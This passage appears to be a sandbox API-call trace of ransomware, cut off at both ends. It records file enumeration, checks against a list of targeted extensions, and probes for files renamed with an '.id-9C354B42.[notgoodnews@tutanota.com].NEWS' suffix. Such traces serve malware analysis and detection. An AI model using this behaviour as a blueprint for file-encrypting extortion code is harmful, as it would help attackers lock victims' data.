(hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0256.774] GetTickCount () returned 0x114d4dc [0256.774] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0257.162] GetTickCount () returned 0x114d662 [0257.162] GetTickCount () returned 0x114d662 [0257.162] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0257.547] GetTickCount () returned 0x114d7d9 [0257.547] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0257.928] GetTickCount () returned 0x114d95f [0257.928] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0258.315] GetTickCount () returned 0x114dae5 [0258.315] GetTickCount () returned 0x114dae5 [0258.315] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0258.803] GetTickCount () returned 0x114dcc8 [0258.803] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0259.179] GetTickCount () returned 0x114de3f [0259.179] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0259.442] GetTickCount () returned 0x114df48 [0259.442] GetTickCount () returned 0x114df48 [0259.442] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0259.778] GetTickCount () returned 0x114e090 [0259.778] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0259.926] GetTickCount () returned 0x114e12c [0259.926] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0260.437] GetTickCount () returned 0x114e32e [0260.437] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0260.798] GetTickCount () returned 0x114e495 [0260.798] GetTickCount () returned 0x114e495 [0260.798] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0261.240] GetTickCount () returned 0x114e64a [0261.240] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0261.857] GetTickCount () returned 0x114e8ba [0261.857] GetTickCount () returned 0x114e8ba [0261.857] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0262.251] GetTickCount () returned 0x114ea40 [0262.251] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0262.856] GetTickCount () returned 0x114eca0 [0262.856] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0264.059] GetTickCount () returned 0x114f152 [0264.059] GetTickCount () returned 0x114f152 [0264.059] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0264.268] GetTickCount () returned 0x114f21c [0264.268] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0264.978] GetTickCount () returned 0x114f4ea [0264.979] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0265.234] GetTickCount () returned 0x114f5e4 [0265.234] GetTickCount () returned 0x114f5e4 [0265.234] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0265.594] GetTickCount () returned 0x114f74a [0265.595] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0265.730] GetTickCount () returned 0x114f7d7 [0265.730] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0266.052] GetTickCount () returned 0x114f91e [0266.052] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0266.395] GetTickCount () returned 0x114fa76 [0266.396] GetTickCount () returned 0x114fa76 [0266.396] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0266.836] GetTickCount () returned 0x114fc2a [0266.836] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0267.073] GetTickCount () returned 0x114fd14 [0267.073] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0267.753] GetTickCount () returned 0x114ffc3 [0267.753] GetTickCount () returned 0x114ffc3 [0267.753] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0268.492] GetTickCount () returned 0x11502a0 [0268.492] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0269.408] GetTickCount () returned 0x1150638 [0269.408] GetTickCount () returned 0x1150638 [0269.409] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0269.821] GetTickCount () returned 0x11507ce [0269.821] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0270.447] GetTickCount () returned 0x1150a2f [0270.447] GetTickCount () returned 0x1150a2f [0270.447] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0270.728] GetTickCount () returned 0x1150b47 [0270.728] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0271.072] GetTickCount () returned 0x1150c9f [0271.072] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0271.284] GetTickCount () returned 0x1150d79 [0271.284] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0271.472] GetTickCount () returned 0x1150e34 [0271.472] GetTickCount () returned 0x1150e34 [0271.472] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0271.673] GetTickCount () returned 0x1150eff [0271.673] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0272.124] GetTickCount () returned 0x11510c3 [0272.124] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) returned 0x102 [0272.524] GetTickCount () returned 0x1151249 [0272.524] GetTickCount () returned 0x1151249 [0272.524] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x64) Thread: id = 65 os_tid = 0x644 [0193.603] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x90ffe8 [0193.604] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x931d30 [0193.605] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4a30 [0193.605] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x930f00 [0193.605] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4b68 [0193.605] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x37f0020 [0193.606] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4b80 [0193.606] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4b80, Size=0x20) returned 0x8d3288 [0193.606] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4b80 [0193.607] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4b80, Size=0x20) returned 0x8d32b0 [0193.607] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.607] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.607] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff58 | out: OldValue=0x2c4ff58*=0x0) returned 1 [0193.607] lstrlenW (lpString="kernel32.dll") returned 12 [0193.607] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3288 | out: hHeap=0x880000) returned 1 [0193.607] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.607] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d32b0 | out: hHeap=0x880000) returned 1 [0193.608] Sleep (dwMilliseconds=0x64) [0193.821] lstrcmpiW (lpString1=".ini", lpString2=".NEWS") returned -1 [0193.821] lstrlenW (lpString="desktop.ini") returned 11 [0193.821] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0193.821] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=129) returned 1 [0193.822] CloseHandle (hObject=0x1c0) returned 1 [0193.822] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0193.822] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0x26 [0193.823] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.823] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.823] lstrlenW (lpString=".doc") returned 4 [0193.823] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0193.823] lstrlenW (lpString=".docx") returned 5 [0193.823] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0193.823] lstrlenW (lpString=".pdf") returned 4 [0193.823] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0193.823] lstrlenW (lpString=".xls") returned 4 [0193.823] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0193.823] lstrlenW (lpString=".xlsx") returned 5 [0193.823] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0193.823] lstrlenW (lpString=".ppt") returned 4 [0193.824] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0193.824] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.824] lstrlenW (lpString=".zip") returned 4 [0193.824] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0193.824] lstrlenW (lpString=".rar") returned 4 [0193.824] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0193.824] lstrlenW (lpString=".bz2") returned 4 [0193.824] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0193.824] lstrlenW (lpString=".7z") returned 3 [0193.824] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0193.824] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.824] lstrlenW (lpString=".dbf") returned 4 [0193.825] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0193.825] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.825] lstrlenW (lpString=".1cd") returned 4 [0193.825] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0193.825] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.825] lstrlenW (lpString=".jpg") returned 4 [0193.825] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0193.825] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.825] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.825] lstrlenW (lpString=".doc") returned 4 [0193.826] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0193.826] lstrlenW (lpString=".docx") returned 5 [0193.826] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0193.826] lstrlenW (lpString=".pdf") returned 4 [0193.826] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0193.826] lstrlenW (lpString=".xls") returned 4 [0193.826] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0193.826] lstrlenW (lpString=".xlsx") returned 5 [0193.826] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0193.826] lstrlenW (lpString=".ppt") returned 4 [0193.826] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0193.826] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.826] lstrlenW (lpString=".zip") returned 4 [0193.827] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0193.827] lstrlenW (lpString=".rar") returned 4 [0193.827] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0193.827] lstrlenW (lpString=".bz2") returned 4 [0193.827] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0193.827] lstrlenW (lpString=".7z") returned 3 [0193.827] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0193.827] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.827] lstrlenW (lpString=".dbf") returned 4 [0193.827] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0193.827] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.827] lstrlenW (lpString=".1cd") returned 4 [0193.827] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0193.828] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0193.828] lstrlenW (lpString=".jpg") returned 4 [0193.828] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0193.828] lstrcmpiW (lpString1=".LOG", lpString2=".NEWS") returned -1 [0193.828] lstrlenW (lpString="BCD.LOG") returned 7 [0193.828] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.829] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.829] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.829] lstrlenW (lpString=".doc") returned 4 [0193.829] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0193.829] lstrlenW (lpString=".docx") returned 5 [0193.829] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0193.829] lstrlenW (lpString=".pdf") returned 4 [0193.829] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0193.829] lstrlenW (lpString=".xls") returned 4 [0193.830] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0193.830] lstrlenW (lpString=".xlsx") returned 5 [0193.830] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0193.830] lstrlenW (lpString=".ppt") returned 4 [0193.830] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0193.830] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.830] lstrlenW (lpString=".zip") returned 4 [0193.830] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0193.830] lstrlenW (lpString=".rar") returned 4 [0193.830] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0193.830] lstrlenW (lpString=".bz2") returned 4 [0193.830] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0193.831] lstrlenW (lpString=".7z") returned 3 [0193.831] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0193.831] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.831] lstrlenW (lpString=".dbf") returned 4 [0193.831] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0193.831] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.831] lstrlenW (lpString=".1cd") returned 4 [0193.831] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0193.831] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.831] lstrlenW (lpString=".jpg") returned 4 [0193.831] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0193.832] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.832] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.832] lstrlenW (lpString=".doc") returned 4 [0193.832] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0193.832] lstrlenW (lpString=".docx") returned 5 [0193.832] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0193.832] lstrlenW (lpString=".pdf") returned 4 [0193.832] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0193.832] lstrlenW (lpString=".xls") returned 4 [0193.832] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0193.833] lstrlenW (lpString=".xlsx") returned 5 [0193.833] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0193.833] lstrlenW (lpString=".ppt") returned 4 [0193.833] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0193.834] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.834] lstrlenW (lpString=".zip") returned 4 [0193.834] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0193.834] lstrlenW (lpString=".rar") returned 4 [0193.834] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0193.834] lstrlenW (lpString=".bz2") returned 4 [0193.834] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0193.834] lstrlenW (lpString=".7z") returned 3 [0193.834] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0193.834] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.835] lstrlenW (lpString=".dbf") returned 4 [0193.835] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0193.835] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.835] lstrlenW (lpString=".1cd") returned 4 [0193.835] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0193.835] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0193.835] lstrlenW (lpString=".jpg") returned 4 [0193.835] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0193.836] Sleep (dwMilliseconds=0x64) [0194.915] Sleep (dwMilliseconds=0x64) [0195.381] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0195.381] lstrlenW (lpString="boxed-delete.avi") returned 16 [0195.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x278 [0199.460] GetFileSizeEx (in: hFile=0x278, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=31744) returned 1 [0199.460] CloseHandle (hObject=0x278) returned 1 [0199.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0199.460] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.461] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.461] lstrlenW (lpString=".doc") returned 4 [0199.461] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.461] lstrlenW (lpString=".docx") returned 5 [0199.461] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0199.461] lstrlenW (lpString=".pdf") returned 4 [0199.461] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.461] lstrlenW (lpString=".xls") returned 4 [0199.461] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.461] lstrlenW (lpString=".xlsx") returned 5 [0199.462] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0199.462] lstrlenW (lpString=".ppt") returned 4 [0199.462] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.462] lstrlenW (lpString=".zip") returned 4 [0199.462] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.462] lstrlenW (lpString=".rar") returned 4 [0199.462] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.462] lstrlenW (lpString=".bz2") returned 4 [0199.462] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.462] lstrlenW (lpString=".7z") returned 3 [0199.462] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.462] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.462] lstrlenW (lpString=".dbf") returned 4 [0199.463] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.463] lstrlenW (lpString=".1cd") returned 4 [0199.463] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.463] lstrlenW (lpString=".jpg") returned 4 [0199.463] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.463] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.463] lstrlenW (lpString=".doc") returned 4 [0199.464] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0199.464] lstrlenW (lpString=".docx") returned 5 [0199.464] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0199.464] lstrlenW (lpString=".pdf") returned 4 [0199.464] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0199.464] lstrlenW (lpString=".xls") returned 4 [0199.464] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0199.464] lstrlenW (lpString=".xlsx") returned 5 [0199.464] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0199.465] lstrlenW (lpString=".ppt") returned 4 [0199.465] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0199.465] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.465] lstrlenW (lpString=".zip") returned 4 [0199.465] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0199.465] lstrlenW (lpString=".rar") returned 4 [0199.465] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0199.465] lstrlenW (lpString=".bz2") returned 4 [0199.466] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0199.466] lstrlenW (lpString=".7z") returned 3 [0199.466] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0199.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.466] lstrlenW (lpString=".dbf") returned 4 [0199.466] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0199.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.466] lstrlenW (lpString=".1cd") returned 4 [0199.466] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0199.466] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0199.466] lstrlenW (lpString=".jpg") returned 4 [0199.466] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0199.467] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0199.467] lstrlenW (lpString="auxpad.xml") returned 10 [0199.467] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x290 [0199.890] GetFileSizeEx (in: hFile=0x290, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=212) returned 1 [0199.890] CloseHandle (hObject=0x290) returned 1 [0199.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0199.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0199.891] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0199.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.891] lstrlenW (lpString=".doc") returned 4 [0199.891] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.892] lstrlenW (lpString=".docx") returned 5 [0199.892] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0199.892] lstrlenW (lpString=".pdf") returned 4 [0199.892] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.892] lstrlenW (lpString=".xls") returned 4 [0199.892] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.892] lstrlenW (lpString=".xlsx") returned 5 [0199.892] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0199.893] lstrlenW (lpString=".ppt") returned 4 [0199.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.893] lstrlenW (lpString=".zip") returned 4 [0199.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.893] lstrlenW (lpString=".rar") returned 4 [0199.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.893] lstrlenW (lpString=".bz2") returned 4 [0199.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.894] lstrlenW (lpString=".7z") returned 3 [0199.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.894] lstrlenW (lpString=".dbf") returned 4 [0199.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0199.894] lstrlenW (lpString=".1cd") returned 